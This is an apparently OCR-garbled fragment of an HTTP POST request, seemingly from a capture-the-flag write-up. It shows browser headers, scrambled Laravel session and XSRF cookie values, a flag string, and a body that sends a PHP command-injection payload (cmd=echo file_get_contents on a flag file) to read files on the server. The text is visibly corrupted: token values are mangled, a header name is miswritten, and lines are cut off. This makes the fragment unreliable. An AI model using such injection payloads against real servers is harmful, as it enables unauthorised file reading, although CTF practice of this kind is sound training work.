Gecko) Chrome/76.0.3809.100 Safari/537.36
DNT: 1 flag{Oiahhh1_iiu123}
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,appli
cation/signed-exchange,v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie:

XSRF-TOKEN=eyJpdil6ljdrdW0OwejBFMIRDYjJjNW5YcGZLZWc9PSIsInZhbHVIljoieEVF THBlak8wNDRreW
NEVmMVsaURcL25EOWZQSESrTW82b2dsXCI3R2ILVKNTb2 pCZmI9IQIk0OT ZkajlmcVYzNVwvMDdacWc ﬂ
LdXN1MkJwe3ZVQWOtQliwancOPSIsim LhYyl6ImQxMjU3ZjQ1MWIOMjQ2M2 QWMWZkOWUwWM2U4Yj
ZjoDIIYjBhZjU1Nzc IMWM IMzEONGM3ODRmMZWFZmY 2 MjY 2NzQifQ#%3D%3D;
laravel_session=eyjpdil6lmimVnpQaTAyUZ hcLINXZGVTzRWSXZ3PTOILC)2YWx 1ZS16InZwclZuaVFU
RGFjZWhcL1dHQONOTnJEbIhhQVwWWYTJrOTIETm]jdnisSIIPMDRrbONVWDBmMOGNXVERzalFCQjZhdThS
bVg2MWICNIRXTVc2YKNMS1RsSWWcIPSIsiIm1hYyl6imQyMzg 10TEYNTAWZTIhYjg2YWEOZWY 1IMDE2
MDQSNzJiMmQ20TBhZWQS5M2E1IM2UxYjUzYjczYJkMjUxNDVINDUifQ%3D%3D

Connection: close

Content=Type: application/x-www-form-urlencoded

Content-Length: 50

cmd=echo+file_get_contents('/flag_ahajjdhh11gwe'); " s
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